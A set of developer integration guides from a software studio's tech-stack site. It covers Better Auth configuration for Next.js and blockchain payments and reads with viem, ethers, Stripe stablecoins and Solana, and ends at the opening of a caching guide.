Secret resolution: options.secret → BETTER_AUTH_SECRET → AUTH_SECRET; it throws in production when none is set. For rotation without logging everyone out, use versioned secrets — secrets: [{ version: 2, value }, { version: 1, value }] or the BETTER_AUTH_SECRETS env var in the form 2:<new>,1:<old> (first entry encrypts, the rest only decrypt). See https://better-auth.com/docs/reference/options#secrets.

4. Create the auth instance

lib/auth.ts — this module imports your database driver and reads the secret, so it is server-only. Never import it from a client component. Full typed version: examples/auth.ts.

import { betterAuth } from "better-auth";
import { drizzleAdapter } from "@better-auth/drizzle-adapter";
import { nextCookies } from "better-auth/next-js";
import { db } from "@/lib/db";

export const auth = betterAuth({
  database: drizzleAdapter(db, { provider: "pg" }),
  emailAndPassword: { enabled: true },
  socialProviders: {
    google: {
      clientId: process.env.GOOGLE_CLIENT_ID as string,
      clientSecret: process.env.GOOGLE_CLIENT_SECRET as string,
    },
  },
  plugins: [nextCookies()], // MUST be the last entry in this array
});

nextCookies() post-processes the response to write cookies set during server actions. Any plugin listed after it never gets its cookies written — still the most common misconfiguration.

5. Database adapters (Postgres, Neon, Supabase)

Option Import Migrations
Raw pg Pool (built-in Kysely) new Pool({ connectionString }) passed as database npx auth@latest migrate applies them
Drizzle drizzleAdapter from @better-auth/drizzle-adapter (Relations v2: @better-auth/drizzle-adapter/relations-v2) npx auth@latest generate → drizzle-kit generate → drizzle-kit migrate
Prisma 7 prismaAdapter from better-auth/adapters/prisma (package: @better-auth/prisma-adapter) npx auth@latest generate → prisma migrate dev
// Prisma 7 needs a driver adapter on the client
import { PrismaPg } from "@prisma/adapter-pg";
import { PrismaClient } from "@/generated/prisma/client";
import { prismaAdapter } from "better-auth/adapters/prisma";

const prisma = new PrismaClient({
  adapter: new PrismaPg({ connectionString: process.env.DATABASE_URL as string }),
});
// database: prismaAdapter(prisma, { provider: "postgresql" })

6. Create the tables

npx auth@latest generate          # ORM adapters: emits schema for your tool
npx auth@latest migrate           # built-in Kysely adapter only
npx auth@latest check schema      # read-only schema check (1.7.6+); for Drizzle/Prisma it checks your schema files, not applied migrations

Core tables: user, session, account, verification, plus one table per schema-carrying plugin. Field facts:

7. Mount the route handler

app/api/auth/[...all]/route.ts:

import { auth } from "@/lib/auth";
import { toNextJsHandler } from "better-auth/next-js";

export const { GET, POST } = toNextJsHandler(auth);

8. Create the client

lib/auth-client.ts (full version with plugins: examples/auth-client.ts):

import { createAuthClient } from "better-auth/react";

export const authClient = createAuthClient();
export const { signIn, signUp, signOut, useSession } = authClient;

Import paths per framework: better-auth/react, /vue, /svelte, /solid, or vanilla better-auth/client.


Key patterns

Sign in and sign up

Every client method returns { data, error } — it does not throw.

"use client";
import { authClient } from "@/lib/auth-client";

async function onSubmit(email: string, password: string) {
  const { error } = await authClient.signIn.email({ email, password });
  if (error) return showError(error.message);
  router.push("/dashboard");
}
await authClient.signIn.social({ provider: "google", callbackURL: "/dashboard" });

Reading the session

Server (server component, route handler, server action) — authoritative:

import { headers } from "next/headers";
import { auth } from "@/lib/auth";

const session = await auth.api.getSession({ headers: await headers() });
if (!session) redirect("/sign-in");

Client — reactive hook: const { data: session, isPending } = authClient.useSession();

RSCs cannot set cookies, so the cookie cache is not refreshed until the client hits a server action or route handler.

Next.js 16: proxy.ts (formerly middleware)

Next.js 16 renames middleware.ts → proxy.ts and the export middleware → proxy. Run npx @next/codemod@canary middleware-to-proxy . or rename by hand; Better Auth helpers work unchanged. Full file: examples/proxy.ts.

// proxy.ts
import { NextRequest, NextResponse } from "next/server";
import { getSessionCookie } from "better-auth/cookies";

export function proxy(request: NextRequest) {
  const hasSession = getSessionCookie(request) !== null;
  if (!hasSession && request.nextUrl.pathname.startsWith("/dashboard")) {
    return NextResponse.redirect(new URL("/sign-in", request.url));
  }
  return NextResponse.next();
}

export const config = { matcher: ["/dashboard/:path*"] };

This is a redirect optimisation, not an authorization boundary. getSessionCookie() checks presence, not validity — anyone can forge the cookie name. Re-check with auth.api.getSession() inside every protected page, action and handler.

Next 16's proxy runs on the Node.js runtime, so the docs also show calling auth.api.getSession({ headers: await headers() }) inside proxy() for a full DB-backed check. That costs a session lookup on every matched request; prefer the cookie check plus per-route validation unless the proxy genuinely needs the user. (Next 15.2–15.x needed runtime: "nodejs" in middleware config for the same thing; Next ≤15.1 Edge middleware cannot touch the DB at all.) If you changed advanced.cookiePrefix, pass { cookiePrefix } to getSessionCookie — it does not read your auth config.

session: {
  expiresIn: 60 * 60 * 24 * 7, // 7 days total lifetime
  updateAge: 60 * 60 * 24,     // slide the expiry at most once a day
  freshAge: 60 * 5,            // "recently authenticated" window for sensitive ops
  cookieCache: { enabled: true, maxAge: 5 * 60, strategy: "compact" }, // or "jwt" | "jwe"
}

cookieCache writes a separate session_data cookie so reads skip the database. A revoked session stays live on other devices until maxAge expires. Keep it short and leave it off wherever immediate revocation is required. Strategies: compact (default, signed, smallest), jwt (signed, readable), jwe (encrypted). Since 1.7 the cached session is bound to the session_token cookie. Other knobs: disableSessionRefresh, deferSessionRefresh, and fully stateless sessions (no database, cookieCache.strategy: "jwe", bump cookieCache.version to invalidate everyone).

Cookie defaults: HttpOnly, SameSite=Lax, Secure when the base URL is HTTPS or NODE_ENV is production (aligned with RFC 6265bis in 1.7.8).

Plugins

Plugins come in matched server + client pairs; schema-carrying ones need npx auth@latest generate and a migration.

Plugin Server import Client import
organization better-auth/plugins better-auth/client/plugins → organizationClient
twoFactor better-auth/plugins twoFactorClient
phoneNumber better-auth/plugins phoneNumberClient
magicLink, emailOTP, admin, username better-auth/plugins matching *Client
passkey @better-auth/passkey @better-auth/passkey/client
stripe @better-auth/stripe @better-auth/stripe/client
SSO / SCIM / OAuth provider / MCP @better-auth/sso, @better-auth/scim, @better-auth/oauth-provider, @better-auth/mcp per package

Organization (multi-tenant)

organization({
  sendInvitationEmail: async (data) => {
    void sendEmail(data.email, `Join ${data.organization.name}`, `${baseUrl}/accept-invitation/${data.id}`);
  },
  // teams: { enabled: true },
})

Client: authClient.organization.create({ name, slug }), .setActive({ organizationId }), .inviteMember(...). Server permission checks: auth.api.hasPermission({ headers, body: { permissions: { project: ["create"] } } }). Custom roles use createAccessControl from better-auth/plugins/access, merged with defaultStatements from better-auth/plugins/organization/access. 1.7 added team.memberCount and teamMember.membershipKey columns — regenerate.

Two-factor

twoFactor({ otpOptions: { sendOTP: async ({ user, otp }) => { void sendEmail(user.email, "Code", otp); } } })

Set appName on betterAuth() — it becomes the TOTP issuer. 1.7 change: twoFactor.enable({ password, method }) takes method: "totp" | "otp" (default "totp") and returns a discriminated response — totpURI and backupCodes exist only when method === "totp". Enabling requires a password unless allowPasswordless: true (OAuth/passkey/phone-only users). 2FA is enforced only on /sign-in/email, /sign-in/username, /sign-in/phone-number; magic link, email OTP, social and passkey sign-ins skip it unless you add hooks. Client: twoFactorClient({ twoFactorPage: "/two-factor" }) or onTwoFactorRedirect({ twoFactorMethods }).

Passkey

import { passkey } from "@better-auth/passkey";
passkey({ rpName: "codeAmani App" }) // rpID / origin default from baseURL

Built on SimpleWebAuthn. authClient.passkey.addPasskey({ name }) (needs a session by default), authClient.signIn.passkey(). Passkey-first onboarding: registration: { requireSession: false, resolveUser } plus addPasskey({ context, createSession: true }).

Phone-number OTP (Kenya-targeted projects)

phoneNumber({
  otpLength: 6,
  expiresIn: 300,
  allowedAttempts: 3,                // default 3; then 403 "Too many attempts"
  requireVerification: true,
  phoneNumberValidator: (n) => /^\+254(7|1)\d{8}$/.test(n),
  sendOTP: ({ phoneNumber, code }) => {
    void sendSms(phoneNumber, `Your code is ${code}`); // don't await (timing); waitUntil on Vercel
  },
  signUpOnVerification: {
    getTempEmail: (n) => `${n.replace("+", "")}@phone.invalid`,
  },
})

Client: authClient.phoneNumber.sendOtp({ phoneNumber }) → authClient.phoneNumber.verify({ phoneNumber, code }). Other endpoints: signIn.phoneNumber({ phoneNumber, password }), phoneNumber.requestPasswordReset / resetPassword, verify({ ..., updatePhoneNumber: true }) to change numbers, updateUser({ phoneNumber: null }) to release one. Plug in an external verifier (e.g. Twilio Verify) with verifyOTP. Server-only auth.api.consumePhoneNumberOTP checks a code without creating a session. Normalisation helper: examples/phone.ts.

Stripe billing

npm install @better-auth/stripe@1.7.11 stripe@22.6.2
import { stripe } from "@better-auth/stripe";
import Stripe from "stripe";

stripe({
  stripeClient: new Stripe(process.env.STRIPE_SECRET_KEY as string),
  stripeWebhookSecret: process.env.STRIPE_WEBHOOK_SECRET as string, // required
  createCustomerOnSignUp: true,
  subscription: { enabled: true, plans: [{ name: "pro", priceId: process.env.STRIPE_PRO_PRICE_ID as string }] },
  organization: { enabled: true }, // REQUIRED since 1.7 for org-scoped subscriptions
})

Point a Stripe webhook at https://<domain>/api/auth/stripe/webhook; the plugin verifies the signature and handles checkout.session.completed and customer.subscription.created/updated/deleted, with onEvent for anything else. Org billing: authClient.subscription.upgrade({ plan, referenceId: org.id, customerType: "organization", seats }), guarded by subscription.authorizeReference. onSubscriptionCancel now always receives event.

Rate limiting

Enabled by default in production (10 s window, 100 requests). Runs before plugin hooks; returns 429. Server-side auth.api.* calls are never rate limited.

rateLimit: {
  enabled: true,
  storage: "database",           // or "secondary-storage" (Redis/Upstash)
  window: 60,
  max: 100,
  customRules: {
    "/sign-in/email": { window: 60, max: 5 },
    "/phone-number/send-otp": { window: 60, max: 3 },
  },
}

On Vercel, "memory" is per-instance and effectively useless. Behind Cloudflare, set advanced.ipAddress.ipAddressHeaders: ["cf-connecting-ip"]. Custom rate-limit stores now implement a single consume(key, rule) (1.7).

Database hooks

databaseHooks: {
  user: {
    create: {
      before: async (user) => (user.email.endsWith("@blocked.example") ? false : { data: user }),
      after: async (user) => { await provisionWorkspace(user.id); },
    },
  },
}

Returning false from a before hook aborts the operation. (1.8 beta makes this the supported way to reject sign-ups — don't throw from sendVerificationEmail.)


Breaking changes since the August review (1.7.1 → 1.7.11)

Release Change Action
1.7.0–1.7.2 → 1.7.3 1.7.0 added a required account.issuer column; 1.7.3 reverted it. Accounts are keyed by (providerId, accountId) again. If you migrated on 1.7.0–1.7.2: ALTER TABLE account ALTER COLUMN issuer DROP NOT NULL; DROP INDEX account_issuer_accountId_uidx; (Drizzle/Prisma: regenerate). Otherwise every sign-up fails.
1.7.3 Startup schema validation on by default, rejects requests on mismatch Run npx auth@latest check schema in CI
1.7.3 /oauth-proxy-callback deprecated (removed next minor) Move OAuth Proxy users off it before 1.8
1.7.5 database.schemaName for direct Postgres; optional better-sqlite3 peer dropped —
1.7.6 auth check / auth check schema commands; Vercel BotID captcha provider —
1.7.7 Critical GHSA-965c-763c-88jm (OAuth state usable as a Magic Link → sign in as another user, >=1.4.0-beta.18 <1.7.7); high GHSA-r4xp-prcw-77qf (OAuth Proxy) Upgrade to ≥1.7.7; request fresh magic links; upgrade all servers sharing verification storage together
1.7.8 Cookie attributes aligned with RFC 6265bis; password-reset OTPs no longer consumed on failed resets; phone-number resets honour verifyOTP —
1.7.11 Fixed repeated Postgres int8 migration diffs; DB rate-limit X-Retry-After —

1.7.0 changes that still bite anyone coming from 1.6 (full list in the 1.7 upgrade guide): npx auth upgrade updates packages; the CLI needs Node 22.12; check for duplicate (providerId, accountId) rows first; experimental.joins → advanced.database.joins; twoFactor.enable returns { method, ... }; Stripe org subscriptions need organization.enabled; magic-link/email-OTP sign-in on an unverified account now wipes unproven passwords and sessions; captcha rules match full paths (/sign-in/*); secondary storage must implement increment + getAndDelete; getIp → getIP; generic OAuth now uses signIn.social and /api/auth/callback/:id; oidcProvider removed in favour of @better-auth/oauth-provider; MCP moved to @better-auth/mcp; Microsoft accounts key on oid, not sub.

On the horizon — 1.8 (beta): sign-up emails and OAuth session caching run after DB work completes (reject sign-ups via databaseHooks.user.create.before), device-authorization grant interface changes, new @better-auth/ciba package, FedCM account chooser for Google. Don't adopt until it reaches latest.


codeAmani notes

When to reach for Better Auth over Clerk

Clerk stays the default for codeAmani projects — hosted UI and zero ops win for most US-first SaaS. Reach for Better Auth when one of these holds:

  1. Auth data must join app data. Multi-tenant reporting, per-user analytics, and admin tooling get dramatically simpler when user is a real table next to your domain tables instead of a webhook-synced mirror.
  2. Per-MAU pricing breaks the model. The Kenya-targeted builds (duka-order-bot, boda-dispatch, sacco-chama-assistant) expect large low-ARPU user counts. A per-MAU bill in USD against KES revenue does not survive the spreadsheet; a Neon or Supabase row does.
  3. Phone-first identity. Many East African users have a reliable phone and no reliable email. The phoneNumber plugin with signUpOnVerification makes SMS OTP the primary credential. Store E.164 (+2547XXXXXXXX) in auth because SMS gateways want it, and convert to Daraja's 2547XXXXXXXX only at the M-Pesa boundary (toDarajaMsisdn in examples/phone.ts; rule in MPESA_PATTERNS.md). This replaces the earlier advice to validate ^254\d{9}$ in auth.
  4. SMS cost. Better Auth Infrastructure sells SMS at $0.09 per message on its $20/month Pro plan (see reference/limits-and-pricing.md). For Kenyan volumes, compare that against a local aggregator such as Africa's Talking before choosing; sendOTP lets you use either.

Security

AI routing

Better Auth has no AI surface of its own. If an agent or MCP server needs to act on behalf of a user, use the 1.7 @better-auth/oauth-provider + @better-auth/mcp packages rather than sharing session cookies; route model calls per AI_WORKFLOWS.md.

Ops

Official docs:

Blockchain Integration Guide

Technology: blockchain · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/blockchain

Insight:

A blockchain is a replicated append-only ledger no single party owns. Its one real superpower is verifiable state without a trusted operator; the trilemma, gas and finality are all trade-offs around that. Reads are cheap RPC calls. Writes are key-signed, gas-costed and irreversible, so the signing key never touches your server: it lives in the user's wallet or a KMS/HSM. For codeAmani (US-first) the default way to take stablecoin money is Stripe's stablecoin payment method, which settles to USD in your Stripe balance. Build directly on chain (USDC on an L2 or mainnet, viem) only when a product truly needs it, and for Kenya-targeted projects keep M-Pesa as the last mile.

██████╗ ██╗      ██████╗  ██████╗██╗  ██╗ ██████╗██╗  ██╗ █████╗ ██╗███╗   ██╗
██╔══██╗██║     ██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██║  ██║██╔══██╗██║████╗  ██║
██████╔╝██║     ██║   ██║██║     █████╔╝ ██║     ███████║███████║██║██╔██╗ ██║
██╔══██╗██║     ██║   ██║██║     ██╔═██╗ ██║     ██╔══██║██╔══██║██║██║╚██╗██║
██████╔╝███████╗╚██████╔╝╚██████╗██║  ██╗╚██████╗██║  ██║██║  ██║██║██║ ╚████║
╚═════╝ ╚══════╝ ╚═════╝  ╚═════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝

Blockchain Integration Guide

Focus: what a blockchain actually is (a replicated append-only ledger nobody owns), the trade-off behind every design choice (the trilemma), what changed on Ethereum in 2025–2026, and where it earns its keep for codeAmani. That means stablecoin acceptance through Stripe by default, direct on-chain settlement only when a product needs it, and M-Pesa as the last mile for Kenya-targeted projects. The guide is EVM-anchored, mostly about reads, and keeps secrets server-side, with a short Solana section.

Overview

A blockchain is a shared, append-only ledger copied across thousands of independent computers. A new entry (a "block") is only accepted if most of them agree it follows the rules. Each block carries the cryptographic hash of the one before it, so the chain is tamper-evident: change one old transaction and every later block's hash breaks, and the network rejects your fork. No single party (no bank, no company, no government) can quietly edit it. That one property, verifiable state without a trusted operator, is the whole point. Everything else is engineering trade-offs around it.

Three honest truths frame every blockchain decision:

  1. You can't have it all: the trilemma. A chain optimises at most two of decentralisation, security and scalability. Ethereum L1 picks decentralisation + security. L2 rollups (Base, Arbitrum, OP Mainnet) run transactions cheaply off-chain and inherit Ethereum's security by posting data and proofs back to L1. Since 2025 the gap has narrowed: L1 fees are now often cents (see Network state below), so "mainnet is too expensive" is no longer an automatic filter.
  2. Reads are free and easy; writes are slow, public and cost gas. Querying chain state (a balance, a token's supply) is a cheap RPC call. Writing (a transfer, a contract call) is signed by a private key, broadcast, included in a block by a validator, and costs a gas fee. Until it has enough confirmations it can still be reorged, so writes become final over time, not instantly.
  3. Code is law, and bugs are permanent. A deployed smart contract can't be changed and usually controls real money. There is no "undo" and no support line. That's why audits, well-tested token standards (ERC-20, ERC-721) and "don't roll your own crypto" matter more here than almost anywhere else.

For codeAmani, the realistic, non-speculative use is digital dollars. US customers who want to pay in USDC can do it through Stripe with no wallet code on our side. Building directly on chain (viem + USDC on Base or mainnet) is for products whose core feature is on-chain: payouts to wallets, verifiable records, wallet sign-in, or cross-border settlement behind an M-Pesa cash-out for Kenya-targeted projects.

Official Documentation

Source URL What it covers
Ethereum dev docs https://ethereum.org/developers/docs/ Accounts, transactions, gas, EVM, consensus, networks
Building on Ethereum in 2026 (EF) https://ethereum.org/latest/building-on-ethereum-in-2026/ What Dencun / Pectra / Fusaka changed for builders
viem https://viem.sh/docs/getting-started Modern TypeScript Ethereum interface (clients, reads, writes, ABIs)
wagmi https://wagmi.sh/react/getting-started React hooks for EVM wallets (v3)
ethers v6 https://docs.ethers.org/v6/ Mature JS library: providers, contracts, wallets, formatting
Solana Kit https://www.solanakit.com/docs Current Solana JS SDK (@solana/kit)
Solidity https://docs.soliditylang.org/ The main smart-contract language
Circle (USDC) https://developers.circle.com/stablecoins USDC contract addresses, supported chains, APIs
Stripe stablecoin payments https://docs.stripe.com/payments/stablecoin-payments Accept USDC/USDP/USDG through Checkout, Elements, Billing
Base upgrades https://docs.base.org/upgrades/overview Base network upgrade history and schedule

Network state (verified 2026-10-20)

The mental model many people formed in 2021–2023 is out of date. What builders need to know now:

Change When What it means for you
Pectra: EIP-7702 + more blobs Mainnet May 7, 2025 A plain wallet (EOA) can point at smart-account code: batching, gas sponsorship, session keys, passkeys, same address. Ask the wallet for batches through ERC-5792 wallet_sendCalls (viem sendCalls) rather than building 7702 setup yourself.
Fusaka: PeerDAS, 60M gas limit Mainnet Dec 3, 2025 Cheaper L2 data; L1 gas limit standardised at 60M; a per-transaction cap of ~16.78M gas (EIP-7825) that very large deploys or multicalls must fit inside; native P-256 (passkey) signature verification (EIP-7951).
L1 fees 2026 The EF reports standard gas around 0.15–0.5 gwei in spring 2026; an ERC-20 transfer was about $0.08 at their example prices. Use gas maths, not folklore.
Glamsterdam: ePBS + block-level access lists ethereum.org: "Expected on mainnet Q4 2026 · Date not yet confirmed" Aims to raise the gas limit toward ~200M. Little app-level surface change. Watch for the fork date before deploying anything gas-sensitive.
Holesky testnet Deprecated Sept 2025 App developers use Sepolia; validator/staking testing uses Hoodi.
Base Cobalt upgrade Base mainnet Sept 30, 2026 Base's third upgrade of 2026 (conditional/"validity" transactions, B20 token-standard changes). Third-party coverage calls it largely backward-compatible for deployed apps.

How a block chain holds together

Each block bundles a batch of transactions plus the hash of the previous block. Because the hash is computed from the contents, any change anywhere ripples forward and breaks every later block. That's what makes the ledger tamper-evident rather than just "a database with backups."

flowchart LR
    G["Block 0 · Genesis<br/>hash: 0x9f…"] --> B1["Block 1<br/>prev: 0x9f…<br/>txs · hash: 0x3a…"]
    B1 --> B2["Block 2<br/>prev: 0x3a…<br/>txs · hash: 0x7c…"]
    B2 --> B3["Block 3<br/>prev: 0x7c…<br/>txs · hash: 0x11…"]
    B3 --> B4["Block N · pending<br/>prev: 0x11…<br/>mempool txs"]

Consensus is how the network agrees on the next block. Ethereum uses Proof of Stake: validators lock up (stake) ETH and are chosen to propose and attest blocks, and misbehaviour gets their stake slashed. This replaced energy-hungry Proof of Work.


The transaction lifecycle (a write)

Reading is a free RPC query. Writing money or state is the part with real consequences: sign locally, broadcast, wait for inclusion, then wait for finality.

sequenceDiagram
    participant App as Your app
    participant W as Wallet / signer
    participant M as Mempool
    participant V as Validator
    participant C as Chain
    App->>W: Build tx (to, value, data)
    W->>W: Sign with private key (never leaves the wallet)
    W->>M: Broadcast signed tx
    M->>V: Validator picks txs (often highest fee first)
    V->>C: Include tx in a block
    C-->>App: 1 confirmation (could still reorg)
    C-->>App: N confirmations → final
    Note over App,C: Reads are instant & free · writes cost gas & take time

Key terms:

Term Meaning
Account / address 0x… 20-byte identifier. EOA = controlled by a private key; contract account = controlled by code. Since EIP-7702 an EOA can also delegate to contract code.
Private key / seed phrase The secret that authorises spends. Whoever holds it owns the funds. Never on a server, never in git, never NEXT_PUBLIC_*.
Gas Compute units a tx uses × gas price (in gwei). That's the fee. Failed txs still cost gas.
Nonce Per-account counter. It orders an account's txs and prevents replays.
Confirmation / finality Blocks built on top of yours. More confirmations = harder to reverse. Treat money as received only past your finality threshold.
Wei / gwei / ether Denominations. 1 ether = 10⁹ gwei = 10¹⁸ wei. Always work in the smallest unit (bigint) and format only for display.

Taking stablecoin payments: decision order

flowchart TD
    Q{"Who is paying, and why?"} -->|"US customer wants to pay in USDC"| S["Stripe stablecoin payments<br/>(settles to USD in Stripe balance)"]
    Q -->|"Kenya-targeted project"| M["M-Pesa / Daraja<br/>(stablecoin only behind a licensed off-ramp)"]
    Q -->|"Product feature is on-chain<br/>(wallet payouts, proofs, SIWE)"| V["Direct on-chain: viem + USDC<br/>on Base / mainnet"]
  1. Default (US-first): Stripe. Turn on the stablecoin payment method in the Stripe Dashboard and it appears in Checkout, Elements, Payment Links, Invoicing and Billing (subscriptions included). As of 2026-10-20 the docs say: accepted tokens are USDC (Tempo, Ethereum, Solana, Polygon and Base networks), USDP (Ethereum and Solana, US-only) and USDG (Ethereum, US-only); presentment currency is USD; payments settle in your Stripe balance in your local currency; there's a 10,000 USD per-transaction limit for customers; there are no disputes/chargebacks; refunds go back as stablecoins to the customer's original wallet; manual capture isn't supported. US businesses are supported, and EU/HK/MX/CH are in private preview. You write no wallet code and hold no keys. See the stripe/ guide.
  2. Kenya-targeted projects: M-Pesa. M-Pesa via Daraja stays the payment rail. A stablecoin can sit behind it as a cross-border settlement layer, but only through a licensed on/off-ramp partner (see below).
  3. Direct on-chain only when the product itself needs it. That's the rest of this guide.

Reading the chain (viem)

viem (v2, 2.57.x) is the modern, type-safe TypeScript interface. A Public Client reads. v3 exists only as a next preview, so stay on v2.

npm i viem
// lib/chain.ts — server-side only
import { createPublicClient, http } from "viem";
import { base } from "viem/chains"; // Base L2 — swap for `mainnet` if L1 fits better

export const publicClient = createPublicClient({
  chain: base,
  transport: http(process.env.RPC_URL), // provider URL with key; falls back to a public node if omitted
});

const block = await publicClient.getBlockNumber();
const wei = await publicClient.getBalance({ address: "0x0000000000000000000000000000000000000000" });

Reading an ERC-20 (e.g. a USDC balance)

Tokens like USDC are smart contracts, not the chain's native balance. You read them by calling balanceOf on the contract.

import { erc20Abi, formatUnits } from "viem";
import { publicClient } from "./chain";

const USDC = "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913"; // USDC on Base (Circle docs)

const [symbol, decimals, raw] = await Promise.all([
  publicClient.readContract({ address: USDC, abi: erc20Abi, functionName: "symbol" }),
  publicClient.readContract({ address: USDC, abi: erc20Abi, functionName: "decimals" }),
  publicClient.readContract({
    address: USDC,
    abi: erc20Abi,
    functionName: "balanceOf",
    args: ["0x0000000000000000000000000000000000000000"],
  }),
]);

const human = formatUnits(raw, decimals); // e.g. "42.5" — never do float math on raw bigint balances

The same read in ethers v6

ethers (6.17.x) is the mature alternative that many existing dapps use.

import { JsonRpcProvider, Contract, formatUnits } from "ethers";

const provider = new JsonRpcProvider(process.env.RPC_URL);
const abi = [
  "function decimals() view returns (uint8)",
  "function symbol() view returns (string)",
  "function balanceOf(address) view returns (uint)",
];
const usdc = new Contract("0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913", abi, provider);

const decimals = await usdc.decimals();
const balance = await usdc.balanceOf("0x0000000000000000000000000000000000000000");
const human = formatUnits(balance, decimals);

viem vs ethers for a new codeAmani project: prefer viem. It has a smaller bundle, first-class TypeScript inference, and it pairs with wagmi for React wallet hooks. Use ethers when you're working in an existing codebase that already uses it.


Writing the chain (and why the key stays off your server)

A write is signed by a private key. There are two safe places for that key, and your app server is never one of them:

// Frontend write with a browser wallet (viem) — assert the chain, simulate, then send.
import { createWalletClient, custom, parseUnits, erc20Abi, type EIP1193Provider } from "viem";
import { base } from "viem/chains";
import { publicClient } from "./chain";

declare const ethereum: EIP1193Provider; // injected by the user's wallet

const walletClient = createWalletClient({ chain: base, transport: custom(ethereum) });
const [account] = await walletClient.getAddresses();

// 0. Never write on the wrong network.
if ((await walletClient.getChainId()) !== base.id) await walletClient.switchChain({ id: base.id });

// 1. Simulate — catches reverts BEFORE the user pays gas.
const { request } = await publicClient.simulateContract({
  account,
  address: "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913", // USDC on Base
  abi: erc20Abi,
  functionName: "transfer",
  args: ["0x0000000000000000000000000000000000000001", parseUnits("10", 6)], // 10 USDC (6 decimals)
});
// 2. The wallet signs & broadcasts; the key never leaves the wallet.
const hash = await walletClient.writeContract(request);
// 3. Wait for your finality threshold before treating it as paid.
const receipt = await publicClient.waitForTransactionReceipt({ hash, confirmations: 3 });

The simulate → write → wait sequence is the standard safe pattern. Simulation surfaces a revert before any gas is spent, and waitForTransactionReceipt is where you enforce your finality threshold.

Batched writes (EIP-5792, post-Pectra)

For "approve + pay" style flows, ask the wallet for a batch with walletClient.sendCalls({ calls: [...] }) and wait with walletClient.waitForCallsStatus({ id }). The wallet decides whether to use EIP-7702, ERC-4337 or something else. Treat a delegation target (the code an EOA points at) as wallet infrastructure. Never ask users to delegate to app-controlled code. See PATTERNS.md.


Solana in one section

Solana is a high-throughput L1 (the "fewer, beefier validators" corner of the trilemma) with deep USDC liquidity, and Stripe accepts USDC on Solana. For new JS work use @solana/kit (8.5.x). @solana/web3.js jumped to 3.x on 2026-10-01 and now depends on @solana/kit; the 1.x class-based API (Connection, PublicKey) is legacy.

import { address, createSolanaRpc } from "@solana/kit";

const rpc = createSolanaRpc(process.env.SOLANA_RPC_URL ?? "https://api.devnet.solana.com");
const { value: lamports } = await rpc.getBalance(address("GdnSyH3YtwcxFvQrVVJMm1JhTS4QVX7MFsX56uJLUfiZ")).send();

USDC mints (Circle): mainnet EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v, devnet 4zMMC9srt5Ri5X14GAgXhaHii3GnPAEERYPJgZJDncDU. A runnable token-balance read is in examples/solana-usdc-balance.ts.


Smart contracts in one breath

A smart contract is code (usually Solidity, solc 0.8.37) deployed to an address. It runs on the EVM exactly as written, on every validator, forever. Mostly you consume existing contracts through their ABI (the JSON describing their functions) rather than writing your own. When you do write one:


Possible use cases for codeAmani (mapped to the existing stack)

flowchart TD
    subgraph OnChain["On-chain (settlement)"]
      U["USDC on Base / mainnet / Solana"]
    end
    subgraph Rails["codeAmani rails (existing guides)"]
      S["Stripe (default)"]
      M["M-Pesa / Daraja (Kenya projects)"]
      DB["Supabase / Neon ledger"]
      CL["Clerk auth"]
    end
    S -->|"stablecoin payments → USD balance"| U
    U <-->|"licensed off-ramp"| M
    U -->|"index events"| DB
    U -->|"SIWE alongside email/social"| CL
Use case What blockchain adds Builds on (repo guide)
Accept USDC from US customers No chargebacks; customers pay from their own wallet; you get USD. No on-chain code. stripe
Stablecoin payouts to wallets Pay suppliers, creators or gig workers in digital dollars, globally, in seconds. stripe (payouts), supabase/neon (ledger)
Cross-border settlement → M-Pesa (Kenya-targeted) USDC moves value across borders cheaply, then a licensed partner off-ramps to M-Pesa. MPESA_PATTERNS.md, daraja api
On-chain proof / provenance Anchor a document or event hash on-chain for tamper-evident verification, with no token speculation. supabase (store the doc, index the tx)
Auditable payment ledger Mirror on-chain transfers into Postgres; dedupe on transactionHash + logIndex, like webhook idempotency. supabase/neon, webhooks
Wallet-based identity / access Sign-In with Ethereum (a signed message, no gas) as passwordless login or token-gated access, alongside Clerk. clerk
Transparent disbursements (NGO/treasury) Publicly checkable fund flows for grants or community payouts. supabase (off-chain metadata)

Where a project touches stablecoins, these are the facts to plan around. Have counsel confirm before launch.


On/off-ramp reality (the hard part)

Moving between fiat and on-chain dollars is a regulated step that depends on a partner, not an API you host yourself:


Environment variables

Real secrets (store them in the secrets vault / Vercel env, never in the client bundle). The RPC URL carries your provider API key in its path, so treat it as a secret:

RPC_URL=https://base-mainnet.g.alchemy.com/v2/your-api-key

Non-secret settings:

Variable Example Notes
CHAIN_ID 8453 (Base), 84532 (Base Sepolia), 1 (mainnet) Pin it and assert the wallet matches before any write
USDC_ADDRESS 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 Per chain; verify against Circle's address page
FINALITY_CONFIRMATIONS 3 Raise it for high-value transfers
SOLANA_RPC_URL https://api.devnet.solana.com Public devnet; use a keyed provider URL (then it's a secret) in production

Signing keys are not env vars in production. They live in the user's wallet or a KMS/HSM. examples/wallet.ts reads a local dev key for testnet scripts only.


Security checklist


codeAmani notes

Official docs:

Caching Integration Guide

Technology: caching · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/caching

Insight:

A cache is a faster copy of a slower truth, and the whole discipline reduces to one trade-off: how long the stored copy is allowed to lie versus how precisely you can tell it to stop. The codeAmani default is stale-while-revalidate at the edge plus tag-based invalidation on the write path, with Upstash Redis for non-HTTP values such as webhook idempotency keys. Two things changed the picture in 2026: on Vercel, one tag now reaches every layer (Next.js cacheTag feeds the CDN, Runtime Cache and Data Cache, and revalidateTag purges them together), and Next.js 16's use cache is per-instance memory unless you say use cache: remote. Check which layer actually holds the entry before you trust a hit rate.

 ██████╗ █████╗  ██████╗██╗  ██╗██╗███╗   ██╗ ██████╗
██╔════╝██╔══██╗██╔════╝██║  ██║██║████╗  ██║██╔════╝
██║     ███████║██║     ███████║██║██╔██╗ ██║██║  ███╗
██║     ██╔══██║██║     ██╔══██║██║██║╚██╗██║██║   ██║
╚██████╗██║  ██║╚██████╗██║  ██║██║██║ ╚████║╚██████╔╝
